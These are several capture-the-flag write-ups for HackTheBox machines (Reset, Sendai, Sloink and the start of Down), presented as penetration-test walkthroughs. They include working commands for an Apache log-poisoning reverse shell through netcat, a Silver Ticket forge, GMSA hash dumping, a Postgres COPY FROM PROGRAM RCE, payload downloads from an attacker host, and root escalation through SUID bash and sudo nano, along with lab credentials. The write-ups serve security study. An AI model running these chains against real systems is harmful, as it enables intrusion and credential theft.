    <input type="text" id="resetUsername" name="username" required>
    <button type="submit">Send Reset Email</button>
</form>

$.ajax({
    url: 'reset_password.php',
    method: 'POST',
    data: { username: username },
    success: function(data) { ... }
});

3. Vulnerability #1 - Password Reset Information Disclosure

Rather than emailing a reset token, reset_password.php returns the new plaintext password directly in the JSON response:

curl -X POST http://<MACHINE_IP>/reset_password.php \
     -d "username=admin" \
     -H "Content-Type: application/x-www-form-urlencoded"

Response:

{"username":"admin","new_password":"9ab49143","timestamp":"2026-07-01 04:51:16"}

This is a critical logic flaw - no email/token verification is required, and the endpoint hands the tester the admin credentials outright.

3.1 Authenticating as admin

curl -X POST http://<MACHINE_IP>/index.php \
     -d "username=admin&password=9ab49143" \
     -c cookies.txt -L

This authenticates successfully and redirects to dashboard.php, confirming "Logged in as: admin".

4. Vulnerability #2 - Local File Inclusion (LFI) in `dashboard.php`

The Admin Dashboard presents a "Select Log File" dropdown (syslog, auth.log) which is submitted via POST to dashboard.php:

<select name="file">
    <option value="/var/log/syslog">syslog</option>
    <option value="/var/log/auth.log">auth.log</option>
</select>

The dropdown only offers syslog and auth.log, but the file parameter is not restricted server-side to those values. access.log was chosen to test this because it's Apache's standard, universal request log - present on virtually every Apache install at a predictable path (/var/log/apache2/access.log), and critically, it records request data we control (URL, headers like User-Agent, etc.). That combination - a guessable path and attacker-controlled content - makes it the natural next file to try after confirming basic LFI, since it doubles as the entry point for log poisoning in the next step.

Supplying that path is honored:

curl -s -b cookies.txt -X POST http://<MACHINE_IP>/dashboard.php \
     -d "file=/var/log/apache2/access.log"

This successfully returned the contents of /var/log/apache2/access.log, confirming an LFI vulnerability - any file readable by the www-data user can be displayed via the "Log Contents" panel.

5. Vulnerability #3 - Apache Log Poisoning → Remote Code Execution

Since access.log records the User-Agent header verbatim, and the LFI can be pointed at that log file, a classic log poisoning chain applies:

Send a request with a PHP payload as the User-Agent header - Apache writes it into access.log unsanitized.
Use the LFI in dashboard.php to include /var/log/apache2/access.log, causing the PHP interpreter to execute the injected payload.

5.1 Proof of Concept

curl -v -b cookies.txt \
     -H 'User-Agent: <?php system($_GET["cmd"]); ?>' \
     http://<MACHINE_IP>/dashboard.php

Then triggering inclusion of the poisoned log (via the dashboard's log-viewer POST to /var/log/apache2/access.log) executes the injected PHP, confirming command execution.

5.2 Reverse Shell

Step 1 — Poison the log. The payload was upgraded to a full reverse shell, delivered via the User-Agent header. This request's only purpose is to get the payload written into access.log:

curl -b cookies.txt \
     -H "User-Agent: <?php system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <YOUR_IP> 4444 >/tmp/f'); ?>" \
     http://<MACHINE_IP>/dashboard.php

Step 2 — Start a listener on the attack box, in a separate terminal:

nc -lvnp 4444

Step 3 — Trigger the LFI by POSTing the dashboard's file parameter at the now-poisoned access.log. This is the same LFI request from Section 4, and it's what actually causes Apache to parse and execute the injected PHP:

curl -v -L -b cookies.txt \
     -X POST http://<MACHINE_IP>/dashboard.php \
     -d "file=/var/log/apache2/access.log"

The system() call fires as the page renders, spawning the reverse shell back to the listener from Step 2:

whoami
www-data

A subsequent Python PTY upgrade stabilized the shell:

python3 -c 'import pty; pty.spawn("/bin/bash")'

Foothold established as www-data.

6. User Flag

Enumeration from the www-data shell:

www-data@reset:/var/www/html$ ls
dashboard.php  index.php  private_34eee5d2  reset_password.php

www-data@reset:/var/www/html$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data),4(adm)

Membership in the adm group grants read access to log files and, more importantly, to /home/sadm/user.txt:

www-data@reset:/home/sadm$ cat user.txt
[REDACTED]

User flag: [REDACTED]

7. Privilege Escalation Path - `www-data` → `sadm`

7.1 Discovering Host-Based Trust

The presence of rexec/rlogin/rsh (ports 512–514) found in the nmap scan pointed toward legacy host-based authentication. Checking /etc/hosts.equiv (world-readable) confirmed it:

www-data@reset:/home/sadm$ cat /etc/hosts.equiv
# /etc/hosts.equiv: list of hosts and users that are granted "trusted" r-command access
- root
- local
+ sadm

The + sadm entry means any remote host can rlogin as the local user sadm without a password, provided the connecting client's username matches (sadm).

7.2 Exploiting the Trust Relationship

On the attacking Kali machine, a local user named sadm was created to match the trusted username, then used to rlogin to the target:

sudo useradd -m sadm
sudo passwd sadm
sudo su - sadm
rlogin -l sadm <MACHINE_IP>

This dropped straight into an authenticated shell as sadm on the target — no password required, purely due to the hosts.equiv trust misconfiguration:

Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-140-generic x86_64)
sadm@reset:~$ id
uid=1001(sadm) gid=1001(sadm) groups=1001(sadm)

A pre-existing tmux session (sadm_session) was also found running, hinting at prior/automated admin activity:

sadm@reset:~$ tmux ls
sadm_session: 1 windows (created Wed Jul  1 04:40:01 2026)

Attaching to it (tmux a -t sadm_session) revealed a sudo password being typed into a nano session: 7lE2PAfVHfjz4HpE.

8. Privilege Escalation Path - `sadm` → `root` (in progress)

8.1 Sudo Enumeration

sadm@reset:~$ sudo -l
Matching Defaults entries for sadm on reset:
    env_reset, timestamp_timeout=-1, mail_badpass,
    secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin, use_pty, !syslog

User sadm may run the following commands on reset:
    (ALL) PASSWD: /usr/bin/nano /etc/firewall.sh
    (ALL) PASSWD: /usr/bin/tail /var/log/syslog
    (ALL) PASSWD: /usr/bin/tail /var/log/auth.log

sadm can run nano as root against /etc/firewall.sh, using the recovered password (7lE2PAfVHfjz4HpE).

8.2 GTFOBins — `nano` Sudo Escape

nano is a listed GTFOBins binary for sudo privilege escalation via its command-execution feature:

sudo /usr/bin/nano /etc/firewall.sh

Inside the editor:

Ctrl+R (Insert file), then Ctrl+X (Execute a command) — opens an "Execute Command" prompt.
Enter: reset; sh 1>&0 2>&0
Press Enter.

This spawns an interactive root shell in place of nano's file-insert operation. Pressing Enter after typing the command is sufficient - no further keystrokes are needed; sh takes over the terminal directly.

8.3 Confirming Root and Capturing the Flag

# whoami
root
# cd /root
# ls
root_[REDACTED].txt  snap
# cat root_[REDACTED].txt
[REDACTED]

Root shell and root flag obtained.

9. Key Vulnerabilities

#	Vulnerability	Location	Impact
1	Password reset info disclosure	`reset_password.php`	Full admin credential leak
2	Local File Inclusion (LFI)	`dashboard.php` (`file` param)	Arbitrary file read
3	Apache log poisoning → RCE	`User-Agent` header + LFI	Remote code execution as `www-data`
4	Host-based trust misconfiguration	`/etc/hosts.equiv` (`+ sadm`) + rlogin	Passwordless lateral movement to `sadm`
5	Insecure sudo rule (GTFOBins)	`sudo nano /etc/firewall.sh`	Privilege escalation to `root`

10. Root Cause / Remediation Notes

Password reset endpoint should never return the new password to the client — send via email/token only.
dashboard.php file selection should validate against a strict allow-list server-side, not just in the HTML <select>.
User-controllable headers (User-Agent, etc.) should never be trusted/logged in a way that allows re-inclusion as executable code; disable PHP execution in log directories.
Remove legacy r-services (rsh, rlogin, rexec) and /etc/hosts.equiv / .rhosts trust files — these predate modern authentication and are inherently spoofable.
Avoid granting sudo access to editors like nano, vim, less, etc. — these have well-known shell-escape sequences (see GTFOBins).

11. Summary of Attack Chain

Info disclosure — reset_password.php leaks the new admin password in its JSON response.
Auth bypass — Used leaked password to log in as admin.
LFI — dashboard.php's file parameter is not validated, allowing arbitrary file read.
Log poisoning RCE — Injected PHP via User-Agent, executed via LFI on access.log.
Foothold — Reverse shell as www-data (group adm grants log/user.txt read access).
Lateral movement — Misconfigured /etc/hosts.equiv (+ sadm) allowed passwordless rlogin as sadm from an attacker-controlled host.
Privesc (root) — sudo rule permits nano /etc/firewall.sh as root; GTFOBins escape yields a root shell.

HackTheBox: Sendai Writeup

Yogeshwar Peela — Mon, 29 Jun 2026 06:24:39 +0000

Summary

Sendai is a Windows Active Directory machine exposed with SMB guest access. RID brute-forcing reveals a full user list, and two accounts have expired passwords that can be reset with no knowledge of the current password. After resetting and logging in, BloodHound shows a path from both users through the SUPPORT group - which has GenericAll over the ADMSVC OU and group. Adding ourselves to ADMSVC lets us read the GMSA password for mgtsvc$, which has WinRM access. Once inside, we find SQL credentials in a config file. The MSSQL port isn't externally reachable so we tunnel through with Chisel, forge a Silver Ticket as Administrator against the MSSQL SPN, and get sa-level access. From there, xp_cmdshell drops a shell as sqlsvc, which has SeImpersonatePrivilege - GodPotato turns that into SYSTEM.

Chain: Guest SMB → RID brute → expired password reset × 2 → BloodHound → GenericAll abuse → GMSA read → WinRM as mgtsvc$ → SQL creds in config → Chisel tunnel → Silver Ticket → xp_cmdshell → sqlsvc → GodPotato → SYSTEM

Recon

nmap -A -Pn 10.129.234.66 -oA nmap

PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Microsoft IIS httpd 10.0
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: sendai.vl)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP
3389/tcp open  ms-wbt-server Microsoft Terminal Services
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (WinRM)
...

Classic DC fingerprint - DNS, Kerberos, LDAP, SMB, RDP, WinRM. Domain is sendai.vl, hostname is DC. We add it to /etc/hosts:

echo '10.129.234.66 sendai.vl dc.sendai.vl DC.sendai.vl' >> /etc/hosts

SMB Enumeration

First we try a null session, then the built-in guest account:

nxc smb 10.129.234.66 -u '' -p '' --shares
# → STATUS_ACCESS_DENIED

nxc smb 10.129.234.66 -u 'guest' -p '' --shares

Share           Permissions     Remark
-----           -----------     ------
ADMIN$                          Remote Admin
C$                              Default share
config                          
IPC$            READ            Remote IPC
NETLOGON                        Logon server share 
sendai          READ            company share
SYSVOL                          Logon server share 
Users           READ

Guest can read sendai, Users, and IPC$. The config share shows up but with no permissions listed — worth coming back to.

RID Brute Force

--users returned nothing with guest, so we brute-force SIDs instead. Windows assigns sequential RIDs to all objects, so iterating them resolves usernames without needing any real auth:

nxc smb 10.129.234.66 -u 'guest' -p '' --rid-brute

1104: SENDAI\sqlsvc (SidTypeUser)
1105: SENDAI\websvc (SidTypeUser)
1108: SENDAI\Dorothy.Jones (SidTypeUser)
1109: SENDAI\Kerry.Robinson (SidTypeUser)
...
1127: SENDAI\Thomas.Powell (SidTypeUser)
1128: SENDAI\ca-operators (SidTypeGroup)
1129: SENDAI\admsvc (SidTypeGroup)
1130: SENDAI\mgtsvc$ (SidTypeUser)   ← GMSA account
1131: SENDAI\support (SidTypeGroup)

Note the mgtsvc$ account (the $ suffix means it's a Group Managed Service Account) and the admsvc and support groups — these will matter later. We parse out just the users:

nxc smb 10.129.234.66 -u 'guest' -p '' --rid-brute \
  | grep "SidTypeUser" | awk -F'\\' '{print $2}' | awk '{print $1}' > users.txt

Spidering the Shares

nxc smb 10.129.234.66 -u 'guest' -p '' -M spider_plus
cat /root/.nxc/modules/nxc_spider_plus/10.129.234.66.json

The interesting files in the sendai share:

sendai/incident.txt        (1.34 KB)
sendai/it/Bginfo64.exe     (2.65 MB)
sendai/it/PsExec64.exe     (813 KB)
sendai/security/guidelines.txt  (4.43 KB)

We pull them via smbclient and browse everything:

smbclient \\\\sendai.vl\\sendai -U 'guest%'
smb: \> get incident.txt
smb: \> cd transfer
smb: \transfer\> ls
  anthony.smith / clifford.davey / elliot.yates / lisa.williams
  susan.harper / temp / thomas.powell

The transfer share has named folders for several domain users - all empty right now, but it's a good username confirmation. The important file is incident.txt:

cat incident.txt

...All user accounts with insecure passwords have been expired as a precautionary measure.
This means that affected users will be required to change their passwords upon their next login...

Expired passwords - that means some accounts might accept a blank or known password and just require a reset. Time to check.

Initial Access - Expired Password Reset

We try authenticating every user from our list with a blank password:

nxc smb 10.129.234.66 -u users.txt -p '' --continue-on-success

[-] sendai.vl\Elliot.Yates: STATUS_PASSWORD_MUST_CHANGE
[-] sendai.vl\Thomas.Powell: STATUS_PASSWORD_MUST_CHANGE

STATUS_PASSWORD_MUST_CHANGE is different from STATUS_LOGON_FAILURE — it means the account exists, the blank password was accepted, but it needs to be changed before login is allowed. We can do that with impacket-changepasswd without knowing the current password:

impacket-changepasswd 'sendai.vl/Elliot.Yates:@10.129.234.66' -newpass 'Pass123!'
impacket-changepasswd 'sendai.vl/Thomas.Powell:@10.129.234.66' -newpass 'Pass123!'

[*] Password was changed successfully.  (× 2)

Confirming both work:

nxc smb 10.129.234.66 -u Thomas.Powell -p 'Pass123!'
# [+] sendai.vl\Thomas.Powell:Pass123!

nxc smb 10.129.234.66 -u Elliot.Yates -p 'Pass123!'
# [+] sendai.vl\Elliot.Yates:Pass123!

Both users get the same share permissions — including READ,WRITE on config and sendai. Since the permissions look identical, we run BloodHound to figure out which user is actually more useful.

BloodHound - Mapping the AD Attack Path

bloodhound-python -d sendai.vl -u Thomas.Powell -p 'Pass123!' \
  -ns 10.129.234.66 -c All --zip

We import the zip into BloodHound and mark both users as owned. The attack path is clear:

Thomas.Powell / Elliot.Yates
        ↓ MemberOf
    SUPPORT@SENDAI.VL
        ↓ GenericAll
    ADMSVC OU + ADMSVC Group
        ↓ ReadGMSAPassword
    mgtsvc$ (GMSA)
        ↓ MemberOf
    Remote Management Users

BloodHound also shows Thomas.Powell has Password Not Required: TRUE - that's why we could reset with a blank password. Both users are in the SUPPORT group, which has GenericAll over the ADMSVC OU and the ADMSVC group. GenericAll means full control - we can add members, change attributes, anything. The ADMSVC group has ReadGMSAPassword rights over mgtsvc$.

GMSA Password Dump

We add Thomas.Powell to the ADMSVC group using bloodyAD:

bloodyad -H 10.129.234.66 -d sendai.vl -u Thomas.Powell -p 'Pass123!' \
  add groupMember AdmSvc Thomas.Powell

[+] Thomas.Powell added to AdmSvc

Now as a member of ADMSVC, we can read the GMSA password. Three ways to do it - all return the same hash:

bloodyAD:

bloodyad -H 10.129.234.66 -d sendai.vl -u Thomas.Powell -p 'Pass123!' \
  get search --filter '(ObjectClass=msDS-GroupManagedServiceAccount)' \
  --attr msDs-ManagedPassword

msDS-ManagedPassword.NT: 04916851945671b02a176029fac231ba

NetExec:

nxc ldap 10.129.234.66 -u Thomas.Powell -p 'Pass123!' --gmsa

Account: mgtsvc$    NTLM: 04916851945671b02a176029fac231ba

impacket-ntlmrelayx (relay Thomas.Powell's creds through a local HTTP server to LDAP — open browser to http://localhost and log in with Thomas.Powell's creds while the relay is running):

impacket-ntlmrelayx -t ldap://10.129.234.66 --dump-gmsa --no-da --no-acl --no-validate-privs
# → mgtsvc$:::04916851945671b02a176029fac231ba

Shell as mgtsvc$ - User Flag

BloodHound confirmed mgtsvc$ is in Remote Management Users, so WinRM works:

nxc winrm 10.129.234.66 -u 'mgtsvc$' -H 04916851945671b02a176029fac231ba
# [+] sendai.vl\mgtsvc$:04916851945671b02a176029fac231ba (Pwn3d!)

evil-winrm -i 10.129.234.66 -u 'mgtsvc$' -H 04916851945671b02a176029fac231ba

*Evil-WinRM* PS C:\> type user.txt
[REDACTED]

Browsing the filesystem, the config share we saw earlier maps to C:\config:

*Evil-WinRM* PS C:\config> type .sqlconfig
Server=dc.sendai.vl,1433;Database=prod;User Id=sqlsvc;Password=SurenessBlob85;

SQL credentials for sqlsvc. Port 1433 is open internally (confirmed with netstat -ano | select-string 1433) but not reachable from outside.

Tunneling to MSSQL with Chisel

We stand up an HTTP server and pull chisel onto the target:

# Kali — start chisel server in reverse mode
chisel server -p 8000 --reverse

# Target - download and connect back
mkdir C:\temp
iwr http://10.10.15.223/chisel.exe -OutFile C:\temp\chisel.exe
.\chisel.exe client 10.10.15.223:8000 R:1433:127.0.0.1:1433

# Kali side
2026/06/28 21:44:17 client: Connected (Latency 252ms)

Port 1433 is now forwarded to our localhost. Connecting with sqlsvc's password:

mssqlclient.py SENDAI/sqlsvc:SurenessBlob85@127.0.0.1 -windows-auth

SQL (SENDAI\sqlsvc  guest@master)> select current_user;
guest

SQL> enable_xp_cmdshell
ERROR: User does not have permission to perform this action.

We're in as a guest-level user — can't enable xp_cmdshell, can't do much. We need to escalate within MSSQL.

Silver Ticket Attack → MSSQL Admin

BloodHound showed sqlsvc has a Service Principal Name: MSSQL/dc.sendai.vl. When a service uses Kerberos, it decrypts tickets with its own NTLM hash - if we know that hash, we can forge a ticket for any user (including Administrator) without touching the KDC at all. That's a Silver Ticket.

We need the NTLM hash of sqlsvc's password and the domain SID:

# Convert sqlsvc's password to NTLM hash
echo -n "SurenessBlob85" | iconv -t utf16le | openssl md4
# → 58655c0b90b2492f84fb46fa78c2d96a

# Domain SID was visible in BloodHound: S-1-5-21-3085872742-570972823-736764132

Forge the ticket as Administrator:

ticketer.py \
  -domain-sid S-1-5-21-3085872742-570972823-736764132 \
  -nthash 58655c0b90b2492f84fb46fa78c2d96a \
  -domain sendai.vl \
  -spn MSSQL/dc.sendai.vl:1433 \
  -user-id 500 Administrator

[*] Saving ticket in Administrator.ccache

Load it and connect:

export KRB5CCNAME=Administrator.ccache

mssqlclient.py sendai.vl/Administrator@dc.sendai.vl \
  -k -no-pass -target-ip 127.0.0.1

SQL (SENDAI\Administrator  dbo@master)> select current_user;
dbo

SQL> enable_xp_cmdshell
INFO: Configuration option 'xp_cmdshell' changed from 0 to 1.

SQL> xp_cmdshell whoami
sendai\sqlsvc

We're running commands as sqlsvc through MSSQL. We grab a reverse shell using a base64-encoded PowerShell payload from revshells.com:

xp_cmdshell "powershell -e JABjAGwA..."

PS C:\Windows\system32> whoami
sendai\sqlsvc

Privilege Escalation - SeImpersonatePrivilege → SYSTEM

whoami /priv

Privilege Name                Description                               State
============================= ========================================= ========
SeImpersonatePrivilege        Impersonate a client after authentication Enabled
SeManageVolumePrivilege       Perform volume maintenance tasks          Enabled
...

SeImpersonatePrivilege is the classic potato privilege. GodPotato abuses the DCOM activation service to impersonate SYSTEM via a named pipe. We download it and run:

iwr http://10.10.15.223/GodPotato-NET4.exe -OutFile C:\temp\GodPotato.exe

.\GodPotato.exe -cmd "cmd /c whoami"

[*] CurrentUser: NT AUTHORITY\SYSTEM
[*] process start with pid 5840
nt authority\system

.\GodPotato.exe -cmd "cmd /c type C:\Users\Administrator\Desktop\root.txt"

[*] CurrentUser: NT AUTHORITY\SYSTEM
[REDACTED]

Attack Chain

Guest SMB access
        ↓
RID brute → full user list
        ↓
Blank password spray → STATUS_PASSWORD_MUST_CHANGE (Elliot.Yates, Thomas.Powell)
        ↓
impacket-changepasswd → set new passwords
        ↓
bloodhound-python → collect AD data
        ↓
Thomas.Powell/Elliot.Yates → SUPPORT → GenericAll over ADMSVC
        ↓
bloodyAD: add Thomas.Powell to ADMSVC group
        ↓
ADMSVC has ReadGMSAPassword → dump mgtsvc$ NTLM hash
        ↓
mgtsvc$ in Remote Management Users → WinRM → user.txt
        ↓
C:\config\.sqlconfig → sqlsvc:SurenessBlob85
        ↓
Chisel reverse tunnel → MSSQL port 1433 reachable
        ↓
Silver Ticket (sqlsvc hash + domain SID → forge Admin ticket for MSSQL SPN)
        ↓
mssqlclient as Administrator → enable xp_cmdshell → RCE as sqlsvc
        ↓
sqlsvc has SeImpersonatePrivilege → GodPotato → SYSTEM → root.txt

Key Vulnerabilities

Vulnerability	Where
Guest SMB access allows RID brute-forcing	SMB configuration
Accounts with expired passwords accept blank password + reset over network	AD password policy
`SUPPORT` group has `GenericAll` over `ADMSVC` — allowing self-addition	AD ACL misconfiguration
GMSA password readable by group members (expected, but dangerous chain)	ADMSVC → ReadGMSAPassword
SQL credentials stored in plaintext config file on an SMB share	`C:\config\.sqlconfig`
MSSQL running as `sqlsvc` which has a known SPN → Silver Ticket forgeable	Service account design
`sqlsvc` has `SeImpersonatePrivilege` → potato attack to SYSTEM	Service account privileges

HackTheBox: Sloink Writeup

Yogeshwar Peela — Sun, 28 Jun 2026 09:56:00 +0000

Summary

NFS shares exposed the target's home directory and PostgreSQL backups. The user's psql history contained an MD5 hash that cracked to service. SSH with that account drops you immediately (shell is /bin/false), but port forwarding still works - so we tunneled straight to the Postgres Unix socket and connected as the superuser. From there, COPY FROM PROGRAM gave us RCE as postgres. We injected our SSH key and got a shell. For root, a cron job running as root copies the entire Postgres data directory - which postgres owns. We dropped a SUID bash there, waited for the cron to fire, and root handed us a root shell.

Chain: NFS leak → MD5 crack → SSH tunnel → Postgres RCE → SSH key injection → postgres shell → SUID bash via cron → root

Recon

nmap -A -Pn 10.129.234.160 -oA nmap

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13
111/tcp  open  rpcbind 2-4 (RPC #100000)
2049/tcp open  nfs_acl 3 (RPC #100227)

NFS on 2049 is immediately interesting. We check what's exported:

showmount -e 10.129.234.160

Export list for 10.129.234.160:
/var/backups *
/home        *

Both shares open to everyone (*). We mount them and enumerate:

mkdir -p /mnt/home /mnt/backups
mount -t nfs 10.129.234.160:/home /mnt/home
mount -t nfs 10.129.234.160:/var/backups /mnt/backups

find /mnt/backups -maxdepth 3 -ls
# → several archive-*.zip files (~4.5MB each, created every minute)

find /mnt/home -maxdepth 3 -ls
# → /mnt/home/service  (UID 1337, permission denied)

We can't read the service home directory yet because our local UID doesn't match. We use NetExec to enumerate properly - it also detects a root escape vulnerability on the NFS server:

nxc nfs 10.129.234.160 --enum-shares

NFS  10.129.234.160  [*] Supported NFS versions: (3, 4) (root escape:True)
NFS  10.129.234.160  [+] /var/backups
NFS  10.129.234.160       0   r--   4.5MB   /var/backups/archive-2026-06-28T0446.zip
NFS  10.129.234.160  [+] /home
NFS  10.129.234.160    1337   r--    90B    /home/service/.bash_history
NFS  10.129.234.160    1337   r--   326B    /home/service/.psql_history
NFS  10.129.234.160    1337   r--    96B    /home/service/.ssh/authorized_keys
NFS  10.129.234.160    1337   r--    96B    /home/service/.ssh/id_ed25519.pub

The NFS root escape means we can traverse outside the share and read the whole filesystem. We use that to grab /etc/passwd and /etc/shadow:

nxc nfs 10.129.234.160 --get-file /etc/passwd passwd
nxc nfs 10.129.234.160 --get-file /etc/shadow shadow

cat passwd | grep bash
root:x:0:0:root:/root:/bin/bash
postgres:x:115:123:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash

cat passwd | grep service
service:x:1337:1337:,,,,default password:/home/service:/bin/false

The service account has /bin/false as its shell - it can't get an interactive session. Also note the postgres user (UID 115) has a real bash shell.

grep '\$y\$' shadow
root:$y$j9T$nHJOa2A9rTXPQi3rqjrDI/$mbo9VYMotfEvj4Va5D7Lv0AOzdHRuMwGf.4nue0pZe3
service:$y$j9T$4gRKP9kqW6NvhFfcFU2mL/$KT6bU.KoVCaBDQjkmUIkni5qWJaCTzScIz4B8XwqT/7

Both hashes are yescrypt - slow to crack. We set those aside and focus on the NFS files.

Credential Discovery

To read the service home directory, we create a local user with matching UID:

groupadd -g 1337 servicegroup
useradd -u 1337 -g 1337 serviceuser
su serviceuser
cat /mnt/home/service/.bash_history

ls -lah /var/run/postgresql/
file /var/run/postgresql/.s.PGSQL.5432
psql -U postgres
exit

The bash history shows the service user connecting to postgres as the superuser via a Unix socket. We note the socket path: /var/run/postgresql/.s.PGSQL.5432.

cat /mnt/home/service/.psql_history

CREATE DATABASE service;
\c service;
CREATE TABLE users ( id SERIAL PRIMARY KEY, username VARCHAR(255) NOT NULL, password VARCHAR(255) NOT NULL, description TEXT);
INSERT INTO users (username, password, description)
  VALUES ('service', 'aaabf0d39951f3e6c3e8a7911df524c2', 'network access account');
select * from users;
\q

There's an MD5 hash in the history. We crack it on CrackStation:

aaabf0d39951f3e6c3e8a7911df524c2  →  service

Confirmed — the password is service.

SSH Access

nxc ssh 10.129.24.180 -u service -p service

SSH  10.129.24.180  22  [+] service:service  Network Devices

Creds are valid. But when we actually SSH in:

ssh service@10.129.24.180
# (banner appears, then connection closes immediately)
Connection to 10.129.24.180 closed.

Expected - /bin/false kicks us out. But port forwarding doesn't need a shell. From the bash history we already know the Postgres Unix socket lives at /var/run/postgresql/.s.PGSQL.5432. We forward a local TCP port to that socket path on the remote:

ssh -N -L 5432:/var/run/postgresql/.s.PGSQL.5432 service@10.129.24.180

The format is local_port:remote_socket_path - SSH listens on port 5432 locally and relays any connection through to the Unix socket on the server side. This runs in the background. In a new terminal:

psql -h localhost -p 5432 -U postgres

psql (18.3, server 14.19)
postgres=#

We're in as the Postgres superuser with no password - the database is configured to trust local connections.

PostgreSQL Enumeration & RCE

postgres=# \du

 Role name |                         Attributes
-----------+------------------------------------------------------------
 postgres  | Superuser, Create role, Create DB, Replication, Bypass RLS

Full superuser. We check the databases and find the service db:

postgres=# \c service
postgres=# select * from users;

 id | username |             password             |      description
----+----------+----------------------------------+------------------------
  1 | service  | aaabf0d39951f3e6c3e8a7911df524c2 | network access account

Nothing new. But as a superuser we can run OS commands:

create table cmd(output text);
copy cmd from program 'id';
select * from cmd;

 uid=115(postgres) gid=123(postgres) groups=123(postgres),122(ssl-cert)

RCE confirmed. We inject our SSH public key into the postgres home directory:

copy cmd from program 'mkdir -p /var/lib/postgresql/.ssh';
copy cmd from program 'chmod 700 /var/lib/postgresql/.ssh';
COPY cmd FROM PROGRAM 'echo "ssh-ed25519 AAAA...snip... kali@kali" > /var/lib/postgresql/.ssh/authorized_keys';
copy cmd from program 'chmod 600 /var/lib/postgresql/.ssh/authorized_keys';

Shell as postgres - User Flag

ssh -i /home/kali/.ssh/id_ed25519 postgres@10.129.24.180

postgres@slonik:~$ id
uid=115(postgres) gid=123(postgres) groups=123(postgres),122(ssl-cert)

postgres@slonik:~$ cat user.txt
[REDACTED]

Privilege Escalation

Finding the cron job

First we run linpeas to get a broad picture of the system. A few things stand out:

╔══════════╣ Backup folders
drwxr-xr-x 3 root root 4096 Oct 23 2023 /opt/backups
-rwxr-xr-x 1 root root  392 Oct 24 2023 /usr/bin/backup   ← custom backup script

╔══════════╣ Backup files (limited 100)
-rw-r--r-- 1 root root 274 Sep 25 2021 /usr/lib/systemd/system/pg_basebackup@.timer
-rw-r--r-- 1 root root 436 Sep 25 2021 /usr/lib/systemd/system/pg_basebackup@.service

We cat /usr/bin/backup and see it runs pg_basebackup to copy the Postgres data directory as root, then zips it up. Linpeas didn't tell us when or how often it runs though — no obvious crontab entry was shown. So we pull in pspy64 to watch for the process in real time:

./pspy64

2026/06/28 09:04:01 CMD: UID=0  | /bin/sh -c /usr/bin/backup
2026/06/28 09:04:01 CMD: UID=0  | /bin/bash /usr/bin/backup
2026/06/28 09:04:02 CMD: UID=0  | /usr/lib/postgresql/14/bin/pg_basebackup -h /var/run/postgresql -U postgres -D /opt/backups/current/

Root runs /usr/bin/backup every minute. Looking back at the script:

#!/bin/bash
date=$(/usr/bin/date +"%FT%H%M")
/usr/bin/rm -rf /opt/backups/current/*
/usr/bin/pg_basebackup -h /var/run/postgresql -U postgres -D /opt/backups/current/
/usr/bin/zip -r "/var/backups/archive-$date.zip" /opt/backups/current/

count=$(/usr/bin/find "/var/backups/" -maxdepth 1 -type f -o -type d | /usr/bin/wc -l)
if [ "$count" -gt 10 ]; then
  /usr/bin/rm -rf /var/backups/*
fi

It wipes /opt/backups/current/, then uses pg_basebackup to copy the Postgres data directory (/var/lib/postgresql/14/main/) into it - running as root. The data directory is owned by postgres, so we can put anything we want in there before the cron fires.

The exploit

We copy bash into the data directory with the SUID bit set:

postgres@slonik:~/14/main$ cp /bin/bash cbash
postgres@slonik:~/14/main$ chmod +s cbash

Wait up to a minute for the cron. When it fires, root copies everything including our SUID bash:

postgres@slonik:~/14/main$ ls -lah /opt/backups/current/cbash
-rwsr-sr-x 1 root root 1.4M Jun 28 09:32 cbash

Owner is root, SUID bit is set. We run it with -p to keep the elevated privileges:

postgres@slonik:/opt/backups/current$ ./cbash -p
cbash-5.1# whoami
root
cbash-5.1# cat /root/root.txt
[REDACTED]

Attack Chain

NFS world-readable shares
        ↓
Read /home/service/.psql_history (UID spoof)
        ↓
MD5 hash → password: service
        ↓
SSH port forward (bypasses /bin/false)
        ↓
Postgres superuser via Unix socket tunnel
        ↓
COPY FROM PROGRAM → RCE as postgres
        ↓
SSH key injection → stable shell + user.txt
        ↓
postgres owns data dir → drop SUID bash
        ↓
Root cron copies SUID bash → root.txt

Key Vulnerabilities

Vulnerability	Where
NFS exported with `*` and no `root_squash`	`/etc/exports`
MD5 hash stored in shell history	`/home/service/.psql_history`
Postgres superuser with no password (trust auth)	`pg_hba.conf`
SSH port forwarding not restricted for `/bin/false` accounts	`sshd_config`
Root cron copies from postgres-owned directory, preserving SUID	`/usr/bin/backup`

HackTheBox: Down Writeup

Yogeshwar Peela — Sat, 27 Jun 2026 17:43:19 +0000

Executive Summary

Down is an easy Linux machine running a simple "Is it down or just me?" web checker. The site uses curl server-side to test URLs - making it a classic SSRF target. The protocol filter (http:// or https:// only) can be bypassed by injecting a space between the allowed prefix and a file:// URI, allowing arbitrary local file reads. Reading index.php reveals hidden source code including an undocumented expertmode=tcp feature that runs nc with unsanitized input. Since the IP passes FILTER_VALIDATE_IP but the port does not strip extra arguments, appending -e /bin/bash to the port field gives a reverse shell as www-data. In the web root we find a user flag. Enumerating the filesystem reveals a pswm password manager vault in aleks's home directory. We crack it offline using a public decryptor tool and rockyou.txt, recovering aleks's SSH password. Aleks has full sudo rights, so sudo su trivially gives root.

Reconnaissance
Web Enumeration
SSRF - File Read via Protocol Bypass
Source Code Disclosure
Initial Access - Expert Mode Command Injection
User Flag
Privilege Escalation - pswm Password Vault
Root Flag
Attack Chain Summary
Key Vulnerabilities

1. Reconnaissance

root@kali# nmap -A -Pn <TARGET_IP> -oA nmap

PORT   STATE SERVICE VERSION
